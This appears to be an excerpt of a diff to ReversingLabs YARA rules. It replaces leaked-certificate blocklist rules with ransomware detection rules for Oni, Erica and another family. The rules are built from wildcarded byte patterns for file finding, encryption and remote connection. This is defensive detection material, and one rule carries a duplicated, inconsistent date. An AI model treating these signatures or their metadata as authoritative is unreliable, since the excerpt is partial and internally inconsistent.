31 C0 B9 ?? ?? ?? ?? 8B B5 + ?? ?? ?? ?? 31 D2 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? F3 AB 8B BD ?? ?? ?? ?? C7 85 ?? ?? + ?? ?? ?? ?? ?? ?? 89 F9 C1 F9 ?? 83 E1 ?? 89 C8 01 F0 11 FA 0F AC D0 ?? C1 FA ?? 83 + } + $encrypt_files_p6 = { + C0 ?? 83 D2 ?? 0F A4 C2 ?? C1 E0 ?? 89 95 ?? ?? ?? ?? 89 95 ?? ?? ?? ?? 89 FA 09 F2 + 89 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 8B B5 ?? ?? ?? ?? 8D 85 ?? ?? + ?? ?? 8D 95 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 89 F7 C6 00 ?? 83 C0 ?? 39 C2 75 ?? 89 BD + ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 C3 8B 85 ?? ?? ?? ?? 89 D9 89 04 + 24 E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 83 EC ?? 89 18 A1 ?? ?? ?? ?? 89 44 24 ?? 8D 85 + ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 4D ?? 89 + 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 75 ?? 83 C0 + ?? 83 EC ?? 8B 56 ?? 39 D0 0F 87 ?? ?? ?? ?? 8B 7D ?? 29 C2 8D B5 ?? ?? ?? ?? 8D 9D + ?? ?? ?? ?? 8B 0F C6 44 24 ?? ?? 89 9D ?? ?? ?? ?? 8D 0C 41 8D 04 51 89 0C 24 89 F1 + 89 44 24 ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 83 EC ?? 89 34 24 8D 48 ?? E8 ?? ?? ?? + ?? 8B 85 ?? ?? ?? ?? 83 EC ?? 39 D8 74 ?? 89 04 24 E8 ?? ?? ?? ?? 8B BD ?? ?? ?? ?? + 8D B5 ?? ?? ?? ?? 8D 9D ?? ?? ?? ?? 8B 47 ?? 89 34 24 89 44 24 ?? E8 ?? ?? ?? ?? 8B + 85 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8B 0F C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? + ?? ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 89 95 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 90 89 34 24 8B + 0F 83 C6 ?? E8 ?? ?? ?? ?? 83 EC ?? 39 DE 75 ?? 8B BD ?? ?? ?? ?? 8B B5 + } + $encrypt_files_p7 = { + 8B 0F E8 ?? ?? ?? ?? 8B 07 8D 8D ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? + ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 89 + 04 24 E8 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 83 EC ?? 8B 85 ?? ?? ?? ?? + 8B 9D ?? ?? ?? ?? 89 8D ?? ?? ?? ?? 89 8D ?? ?? ?? ?? 8B 0F 89 95 ?? ?? ?? ?? 89 95 + ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 89 9D ?? ?? ?? ?? + E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 89 04 24 8B 0F E8 ?? ?? ?? ?? 8B 0F 83 EC ?? E8 ?? + ?? ?? ?? 8B 0F 89 F7 E8 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 89 95 ?? ?? + ?? ?? 8B 95 ?? ?? ?? ?? 89 34 24 8D B5 ?? ?? ?? ?? 89 44 24 ?? 8B 85 ?? ?? ?? ?? C7 + 44 24 ?? ?? ?? ?? ?? 89 54 24 ?? 89 44 24 ?? FF 95 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 83 + EC ?? 89 3C 24 C7 44 24 ?? ?? ?? ?? ?? 89 74 24 ?? C7 44 24 ?? ?? ?? ?? ?? 89 44 24 + ?? FF 15 ?? ?? ?? ?? 8B BD ?? ?? ?? ?? 83 EC ?? 8B 85 ?? ?? ?? ?? 85 FF 0F 85 ?? ?? + ?? ?? 3D ?? ?? ?? ?? 0F 87 ?? ?? ?? ?? 3D ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? + 0F 87 ?? ?? ?? ?? 3D ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 0F 87 ?? ?? ?? ?? 3D + ?? ?? ?? ?? 0F 97 C0 0F B6 C0 89 85 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8D 65 ?? B8 ?? ?? ?? + ?? 5B 5E 5F 5D C2 ?? ?? 8B 85 ?? ?? ?? ?? 89 04 24 FF 15 ?? ?? ?? ?? 83 EC ?? 8D 65 + ?? B8 ?? ?? ?? ?? 5B 5E 5F 5D C2 ?? ?? 8B 85 ?? ?? ?? ?? 89 04 24 FF 15 + } + $encrypt_files_p8 = { + 83 EC ?? 8D 65 ?? 31 C0 5B 5E 5F 5D C2 ?? ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 + 04 24 ?? ?? ?? ?? 89 C6 89 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 04 24 C1 F8 ?? 89 F1 89 + 44 24 ?? 8D B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 83 EC ?? 89 B5 ?? ?? ?? + ?? 89 85 ?? ?? ?? ?? 89 C3 A1 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 89 85 + ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B B5 ?? ?? ?? ?? 8B BD ?? ?? ?? ?? 89 + 04 24 89 54 24 ?? 89 74 24 ?? 89 7C 24 ?? E8 ?? ?? ?? ?? 8B B5 ?? ?? ?? ?? 8B BD ?? + ?? ?? ?? 89 95 ?? ?? ?? ?? 89 54 24 ?? 89 85 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 89 + 7C 24 ?? 89 44 24 ?? 89 34 24 FF 95 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 83 EC ?? 89 5C 24 + ?? C7 44 24 ?? ?? ?? ?? ?? 83 C3 ?? C7 44 24 ?? ?? ?? ?? ?? 89 34 24 89 44 24 ?? FF + 95 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 83 EC ?? 39 C3 0F 85 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? + C7 44 24 ?? ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8D 76 ?? 81 BD ?? ?? + ?? ?? ?? ?? ?? ?? 0F 86 ?? ?? ?? ?? E9 ?? ?? ?? ?? A1 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? + E9 ?? ?? ?? ?? 89 54 24 ?? 89 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? + E8 ?? ?? ?? ?? 89 C6 C7 44 24 ?? ?? ?? ?? ?? 89 1C 24 E8 ?? ?? ?? ?? 89 34 24 E8 ?? + ?? ?? ?? 89 C3 8B 85 ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? 89 1C 24 E8 ?? ?? ?? ?? EB + } + $remote_connection_p1 = { + 55 57 56 53 81 EC ?? ?? ?? ?? 8B 1A 39 18 0F 84 ?? ?? ?? ?? 89 54 24 ?? 89 C6 8D 5C + 24 ?? F6 05 ?? ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? B8 ?? ?? ?? ?? 89 DF 8B 56 ?? 89 54 24 + ?? 8B 56 ?? 89 54 24 ?? 8B 56 ?? 89 54 24 ?? C7 44 24 ?? ?? ?? ?? ?? 89 44 24 ?? 89 + 3C 24 E8 ?? ?? ?? ?? 89 3C 24 E8 ?? ?? ?? ?? 01 C7 89 F8 29 D8 BA ?? ?? ?? ?? 89 D5 + 29 C5 F6 05 ?? ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 8B 06 89 44 24 ?? 8B 46 ?? 89 44 24 ?? + C7 44 24 ?? ?? ?? ?? ?? 89 6C 24 ?? 89 3C 24 E8 ?? ?? ?? ?? 89 5C 24 ?? 8B 7C 24 ?? + 8B 07 89 04 24 E8 ?? ?? ?? ?? FF 47 ?? 8B 46 ?? 01 47 ?? 8B 6E ?? 85 ED 0F 84 ?? ?? + ?? ?? 89 6C 24 ?? 8D 44 24 ?? 89 04 24 E8 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? E9 ?? + ?? ?? ?? 8D B6 ?? ?? ?? ?? 8D BC 27 ?? ?? ?? ?? 85 C0 74 ?? C6 03 ?? A8 ?? 0F 85 ?? + ?? ?? ?? 8B 7D ?? 8B 75 ?? 89 2C 24 E8 ?? ?? ?? ?? 89 7C 24 ?? 89 74 24 ?? 89 44 24 + ?? C7 44 24 ?? ?? ?? ?? ?? B8 ?? ?? ?? ?? 8B 74 24 ?? 29 F0 89 44 24 ?? 8D 04 33 89 + 04 24 E8 ?? ?? ?? ?? 89 DF 8B 17 83 C7 ?? 8D 82 ?? ?? ?? ?? F7 D2 21 D0 25 ?? ?? ?? + ?? 74 ?? A9 ?? ?? ?? ?? 75 ?? C1 E8 ?? 83 C7 ?? 88 C1 00 C1 83 DF ?? 29 DF 8B 75 + } + $remote_connection_p2 = { + 89 34 24 E8 ?? ?? ?? ?? B9 ?? ?? ?? ?? 29 F9 39 C1 0F 8D ?? ?? ?? ?? 8D 04 3B 83 F9 + ?? 0F 83 ?? ?? ?? ?? 85 C9 74 ?? 8A 16 88 10 F6 C1 ?? 0F 85 ?? ?? ?? ?? BA ?? ?? ?? + ?? B8 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 89 54 24 ?? 01 D8 89 04 24 E8 ?? ?? ?? ?? + 89 5C 24 ?? 8B 44 24 ?? 8B 00 89 04 24 E8 ?? ?? ?? ?? 8B 6D ?? 85 ED 74 ?? 8D 44 24 + ?? 89 44 24 ?? 89 2C 24 E8 ?? ?? ?? ?? 85 C0 75 ?? FF 44 24 ?? 8B 44 24 ?? 83 F8 ?? + 0F 82 ?? ?? ?? ?? C7 44 03 ?? ?? ?? ?? ?? 8D 48 ?? C1 E9 ?? 89 DF B8 ?? ?? ?? ?? F3 + AB E9 ?? ?? ?? ?? 8D B6 ?? ?? ?? ?? 81 C4 ?? ?? ?? ?? 5B 5E 5F 5D C3 90 8D 74 26 ?? + 8D 40 ?? 89 04 24 E8 ?? ?? ?? ?? 8B 10 89 54 24 ?? 8B 50 ?? 89 54 24 ?? 8B 40 ?? 89 + 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 89 1C 24 E8 ?? ?? ?? ?? 89 + DA 8B 0A 83 C2 ?? 8D 81 ?? ?? ?? ?? F7 D1 21 C8 25 ?? ?? ?? ?? 74 ?? A9 + } + $remote_connection_p3 = { + 75 ?? C1 E8 ?? 83 C2 ?? 88 C1 00 C1 83 DA ?? 29 DA 8D 3C 13 B8 ?? ?? ?? ?? 29 D0 E9 + ?? ?? ?? ?? 8D B6 ?? ?? ?? ?? 8D BF ?? ?? ?? ?? B8 ?? ?? ?? ?? 29 F8 89 44 24 ?? 89 + 74 24 ?? 01 DF 89 3C 24 E8 ?? ?? ?? ?? 89 D8 8B 08 83 C0 ?? 8D 91 ?? ?? ?? ?? F7 D1 + 21 CA 81 E2 ?? ?? ?? ?? 74 ?? F7 C2 ?? ?? ?? ?? 75 ?? C1 EA ?? 83 C0 ?? 88 D1 00 D1 + 83 D8 ?? 29 D8 BA ?? ?? ?? ?? 29 C2 E9 ?? ?? ?? ?? 8D 74 26 ?? 8D BC 27 ?? ?? ?? ?? + 8B 16 89 10 8B 54 0E ?? 89 54 08 ?? 8D 78 ?? 83 E7 ?? 29 F8 29 C6 01 C1 C1 E9 ?? F3 + A5 E9 ?? ?? ?? ?? 8D B4 26 ?? ?? ?? ?? 8D BC 27 ?? ?? ?? ?? 89 54 24 ?? 8D 46 ?? 89 + 04 24 E8 ?? ?? ?? ?? 89 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? 89 6C 24 ?? 89 3C 24 E8 ?? + ?? ?? ?? 89 3C 24 E8 ?? ?? ?? ?? 01 C7 89 F8 29 D8 8B 54 24 ?? 29 C2 89 D5 E9 ?? ?? + ?? ?? 8D B4 26 ?? ?? ?? ?? 8D BC 27 ?? ?? ?? ?? 8B 44 24 ?? 66 C7 44 03 ?? ?? ?? E9 + ?? ?? ?? ?? 66 8B 54 0E ?? 66 89 54 08 ?? E9 ?? ?? ?? ?? 90 8B 54 24 ?? 8B 44 24 ?? + E9 + } condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "global trustee" and ( pe.signatures [ i ] . serial == "00:d8:f3:5f:4e:b7:87:2b:2d:ab:06:92:e3:15:38:2f:b0" or pe.signatures [ i ] . serial == "d8:f3:5f:4e:b7:87:2b:2d:ab:06:92:e3:15:38:2f:b0" ) and 1300060800 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and ( all of ( $find_files_p* ) ) and ( all of ( $encrypt_files_p* ) ) and ( all of ( $remote_connection_p* ) ) } - -rule REVERSINGLABS_Cert_Blocklist_750E40Ff97F047Edf556C7084Eb1Abfd : INFO FILE +rule REVERSINGLABS_Win32_Ransomware_ONI : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "The digital certificate has leaked." + description = "Yara rule that detects Oni ransomware." author = "ReversingLabs" - id = "7ae4ba81-82be-57f9-aa8c-0e5c30e412c6" - date = "2020-08-05" - modified = "2023-11-08" + id = "9190aee2-1119-546e-82ca-a7aba44a9d7f" + date = "2026-03-01" + date = "2026-03-01" + modified = "2020-12-07" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L1019-L1035" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.Oni.yara#L1-L82" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "21c2468905514e1725a206814b0c61c576cf7f97f184bac857bca9283f49a957" + logic_hash = "685abf5a5edba5bae19faaf6521ce617370cdab1404fe84d846e82a60182dfff" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Ransomware" + tc_detection_factor = 5 importance = 25 - condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Microsoft Corporation" and pe.signatures [ i ] . serial == "75:0e:40:ff:97:f0:47:ed:f5:56:c7:08:4e:b1:ab:fd" and 980899199 <= pe.signatures [ i ] . not_after ) -} - -rule REVERSINGLABS_Cert_Blocklist_1B5190F73724399C9254Cd424637996A : INFO FILE -{ - meta: - description = "The digital certificate has leaked." - author = "ReversingLabs" - id = "dfb08450-c35c-5b7b-9d04-2c9a6af9bcf8" - date = "2020-08-05" - modified = "2023-11-08" - reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L1037-L1053" - license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "08f287ccda93e03a7e796d5625ab35ef0de782d07e5db4e2264f612fc5ebaa21" - score = 75 - quality = 90 - tags = "INFO, FILE" - status = "RELEASED" - sharing = "TLP:WHITE" - category = "INFO" - importance = 25 + strings: + $find_files = { + 8A 10 3A 11 75 ?? 84 D2 74 ?? 8A 50 ?? 3A 51 ?? 75 ?? 83 C0 ?? 83 C1 ?? 84 D2 75 ?? + 33 C0 EB ?? 1B C0 83 C8 ?? 85 C0 0F 84 ?? ?? ?? ?? B9 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? + 8A 10 3A 11 75 ?? 84 D2 74 ?? 8A 50 ?? 3A 51 ?? 75 ?? 83 C0 ?? 83 C1 ?? 84 D2 75 ?? + 33 C0 EB ?? 1B C0 83 C8 ?? 85 C0 0F 84 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 68 ?? ?? ?? + ?? 53 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? F6 85 ?? ?? ?? ?? + ?? 0F 84 ?? ?? ?? ?? 83 EC ?? 8B D4 C7 42 ?? ?? ?? ?? ?? C7 42 ?? ?? ?? ?? ?? C6 02 + ?? 80 BD ?? ?? ?? ?? ?? 75 ?? 33 C9 EB ?? 8D 8D ?? ?? ?? ?? 8D 71 ?? 90 8A 01 41 84 + C0 75 ?? 2B CE 51 8D 85 ?? ?? ?? ?? 8B CA 50 E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? + 84 C0 74 ?? 83 EC ?? 8D 45 ?? 8B CC 6A ?? 6A ?? C7 41 ?? ?? ?? ?? ?? C7 41 ?? ?? ?? + ?? ?? 50 C6 01 ?? E8 ?? ?? ?? ?? 83 EC ?? 8D 45 ?? 8B CC 6A ?? 6A ?? C7 41 ?? ?? ?? + ?? ?? C7 41 ?? ?? ?? ?? ?? 50 C6 01 ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? + ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? 50 57 FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 57 FF + 15 ?? ?? ?? ?? 8B 45 ?? 83 F8 ?? 72 ?? 8B 4D ?? 40 3D ?? ?? ?? ?? 72 ?? F6 C1 ?? 75 + ?? 8B 41 ?? 3B C1 73 ?? 2B C8 83 F9 ?? 72 ?? 83 F9 ?? 77 ?? 8B C8 51 E8 ?? ?? ?? ?? + 83 C4 ?? 8B 45 ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C6 45 ?? ?? 83 F8 ?? 72 + ?? 8B 4D ?? 40 3D ?? ?? ?? ?? 72 ?? F6 C1 ?? 75 ?? 8B 41 ?? 3B C1 73 ?? 2B C8 83 F9 + ?? 72 ?? 83 F9 ?? 77 ?? 8B C8 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 4D ?? 5F 5E 33 CD 5B E8 + ?? ?? ?? ?? 8B E5 5D C3 + } + $encrypt_files = { + 55 8B EC 83 EC ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 56 57 8B 3D ?? ?? ?? ?? 8D 45 ?? 68 + ?? ?? ?? ?? 6A ?? 33 F6 89 55 ?? 56 56 50 89 4D ?? 89 75 ?? FF D7 85 C0 75 ?? 68 ?? + ?? ?? ?? 6A ?? 50 50 8D 45 ?? 50 FF D7 8B 7D ?? 85 FF 0F 84 ?? ?? ?? ?? 53 8D 45 ?? + 89 75 ?? 50 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B D0 E8 ?? ?? ?? ?? 8B D8 83 C4 ?? 85 + DB 74 ?? 8D 45 ?? 50 6A ?? 6A ?? FF 75 ?? 53 57 FF 15 ?? ?? ?? ?? 53 6A ?? FF 15 ?? + ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8B 5D ?? 85 DB 74 ?? 68 ?? ?? ?? ?? 6A ?? FF 15 ?? ?? + ?? ?? 50 FF 15 ?? ?? ?? ?? FF 75 ?? 8B F0 56 FF 15 ?? ?? ?? ?? FF 75 ?? FF 15 ?? ?? + ?? ?? 68 ?? ?? ?? ?? 89 45 ?? 8D 45 ?? 50 56 6A ?? 6A ?? 6A ?? 53 FF 15 ?? ?? ?? ?? + 8B 4D ?? 85 C9 74 ?? 8B 45 ?? 89 01 53 FF 15 ?? ?? ?? ?? 6A ?? 57 FF 15 ?? ?? ?? ?? + 5B 8B 4D ?? 8B C6 5F 33 CD 5E E8 ?? ?? ?? ?? 8B E5 5D C3 + } + $search_processes = { + 6A ?? 68 ?? ?? ?? ?? 8D 8C 24 ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? C7 84 24 + ?? ?? ?? ?? ?? ?? ?? ?? C6 84 24 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8C 24 ?? ?? ?? ?? + E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 8D 8C 24 ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? + ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? C6 84 24 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 B9 + ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 44 24 ?? ?? 8D 84 24 ?? ?? ?? ?? FF 74 24 ?? C7 05 ?? + ?? ?? ?? ?? ?? ?? ?? 50 8D 44 24 ?? C7 05 ?? ?? ?? ?? ?? ?? ?? ?? 50 C7 05 ?? ?? ?? + ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? BF ?? ?? ?? ?? 8D B4 24 ?? ?? ?? ?? 83 EE ?? 4F 83 7E + ?? ?? 72 ?? 8B 1E 8B CE 56 E8 ?? ?? ?? ?? 8B 46 ?? 40 3D ?? ?? ?? ?? 72 ?? F6 C3 ?? + 75 ?? 8B 43 ?? 3B C3 73 ?? 2B D8 83 FB ?? 72 ?? 83 FB ?? 77 ?? 8B D8 53 E8 ?? ?? ?? + ?? 83 C4 ?? C7 46 ?? ?? ?? ?? ?? 83 7E ?? ?? C7 46 ?? ?? ?? ?? ?? 72 ?? 8B 06 EB ?? + 8B C6 8B CE C6 00 ?? E8 ?? ?? ?? ?? 85 FF 75 ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 + ?? 5F 5E 5B 8B E5 5D C3 E8 ?? ?? ?? ?? CC CC CC CC CC B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? + 6A ?? 68 ?? ?? ?? ?? B9 ?? ?? ?? ?? C7 05 ?? ?? ?? ?? ?? ?? ?? ?? C7 05 ?? ?? ?? ?? + ?? ?? ?? ?? C6 05 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 C3 + } condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Microsoft Corporation" and pe.signatures [ i ] . serial == "1b:51:90:f7:37:24:39:9c:92:54:cd:42:46:37:99:6a" and 980812799 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and ( $search_processes ) and ( $find_files ) and ( $encrypt_files ) } - -rule REVERSINGLABS_Cert_Blocklist_00Ebaa11D62E2481081820 : INFO FILE +rule REVERSINGLABS_Win32_Ransomware_Erica : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "The digital certificate has leaked." + description = "Yara rule that detects Erica ransomware." author = "ReversingLabs" - id = "e192d271-b5de-5acc-a04f-02a26d9231ac" - date = "2020-08-05" - modified = "2023-11-08" + id = "38f57157-bd49-5a63-8c69-497eb9efe274" + date = "2020-06-26" + modified = "2020-07-15" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L1055-L1072" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.Erica.yara#L1-L76" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "2fafc6775ec88b5a1000afbc7234fbef6b03e9eaf866dae660dd2d749996cb5c" + logic_hash = "93512091943f3a3b395c38fa3b0f5ecdbbf1cdf967ccfea4d7145c940076e046" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Ransomware" + tc_detection_name = "Erica" + tc_detection_factor = 5 importance = 25 + strings: + $encrypt_files_p1 = { + 55 8B EC 83 C4 ?? 53 56 57 89 4D ?? 8B F2 8B D8 8B 45 ?? E8 ?? ?? ?? ?? 33 C0 55 68 + ?? ?? ?? ?? 64 FF 30 64 89 20 33 C0 89 45 ?? 8A 43 ?? 2C ?? 72 ?? 74 ?? EB ?? BF ?? + ?? ?? ?? EB ?? BF ?? ?? ?? ?? EB ?? BF ?? ?? ?? ?? 33 DB 68 ?? ?? ?? ?? 8B 45 ?? 50 + 8B 45 ?? 50 6A ?? 56 E8 ?? ?? ?? ?? 85 C0 74 ?? 8D 45 ?? 50 6A ?? 6A ?? 57 8B 06 50 + E8 ?? ?? ?? ?? 85 C0 74 ?? 6A ?? 8B 45 ?? E8 ?? ?? ?? ?? 50 8D 45 ?? E8 ?? ?? ?? ?? + 50 8B 45 ?? 50 E8 ?? ?? ?? ?? 85 C0 74 ?? 8B 45 ?? 50 6A ?? 8B 45 ?? 50 8B 45 ?? 50 + 8B 06 50 E8 ?? ?? ?? ?? 85 C0 75 ?? BB ?? ?? ?? ?? EB ?? BB ?? ?? ?? ?? EB ?? BB ?? + ?? ?? ?? EB ?? BB ?? ?? ?? ?? 83 7D ?? ?? 74 ?? 8B 45 ?? 50 E8 ?? ?? ?? ?? 33 C0 5A + 59 59 64 89 10 68 ?? ?? ?? ?? 8D 45 ?? E8 ?? ?? ?? ?? C3 + } + $encrypt_files_p2 = { + 8D 40 ?? 55 8B EC 83 C4 ?? 53 33 DB 89 5D ?? 89 5D ?? 8B D9 89 55 ?? 89 45 ?? 33 C0 + 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 33 C0 89 45 ?? 33 C0 89 45 ?? 33 C0 89 45 ?? 33 + C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 8D 45 ?? 50 8B 45 ?? 8D 50 ?? 8B 45 ?? 33 C9 + E8 ?? ?? ?? ?? 8B 55 ?? 8B 45 ?? 83 C0 ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 ?? 8B + 40 ?? E8 ?? ?? ?? ?? 8B D0 4A 8B 45 ?? 83 C0 ?? E8 ?? ?? ?? ?? 8B 45 ?? 8B 40 ?? E8 + ?? ?? ?? ?? 89 45 ?? 8D 45 ?? 50 8B 45 ?? 8B 48 ?? 8B 45 ?? 8D 50 ?? 8B 45 ?? E8 ?? + ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 85 C0 75 ?? C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? E9 + ?? ?? ?? ?? 8B 45 ?? 50 53 8B 45 ?? 50 8B 45 ?? 50 8D 4D ?? 8D 55 ?? 8B 45 ?? E8 ?? + ?? ?? ?? 89 45 ?? 83 7D ?? ?? 74 ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8B 45 ?? 89 45 ?? + 8B 45 ?? 50 8D 45 ?? 50 8B 45 ?? 83 C0 ?? E8 ?? ?? ?? ?? 50 6A ?? 6A ?? 6A ?? 8B 45 + ?? 50 E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 3D ?? ?? ?? ?? 75 ?? 8B 45 ?? 83 C0 ?? 8B 55 ?? + E8 ?? ?? ?? ?? 8B 45 ?? 50 8D 45 ?? 50 8B 45 ?? 83 C0 ?? E8 ?? ?? ?? ?? 50 6A ?? 6A + ?? 6A ?? 8B 45 ?? 50 E8 ?? ?? ?? ?? EB ?? E8 ?? ?? ?? ?? 85 C0 74 ?? C7 45 ?? ?? ?? + ?? ?? 8B 45 ?? 83 C0 ?? 8B 55 ?? E8 ?? ?? ?? ?? 83 7D ?? ?? 74 ?? E8 ?? ?? ?? ?? EB + ?? 8B 45 ?? 8B 50 ?? 8B 45 ?? 83 C0 ?? E8 ?? ?? ?? ?? 33 C0 5A 59 59 64 89 10 68 ?? + ?? ?? ?? 83 7D ?? ?? 74 ?? 8B 45 ?? 50 E8 ?? ?? ?? ?? 83 7D ?? ?? 74 ?? 6A ?? 8B 45 + ?? 50 E8 ?? ?? ?? ?? 83 7D ?? ?? 74 ?? 8B 45 ?? 8D 50 ?? 8B 45 ?? 8B 4D ?? E8 ?? ?? + ?? ?? C3 + } + $find_files = { + 55 8B EC 81 C4 ?? ?? ?? ?? 53 56 33 DB 89 9D ?? ?? ?? ?? 89 5D ?? 8B D9 89 55 ?? 89 + 45 ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF + 30 64 89 20 8B C3 E8 ?? ?? ?? ?? 83 7D ?? ?? 74 ?? 8B 45 ?? E8 ?? 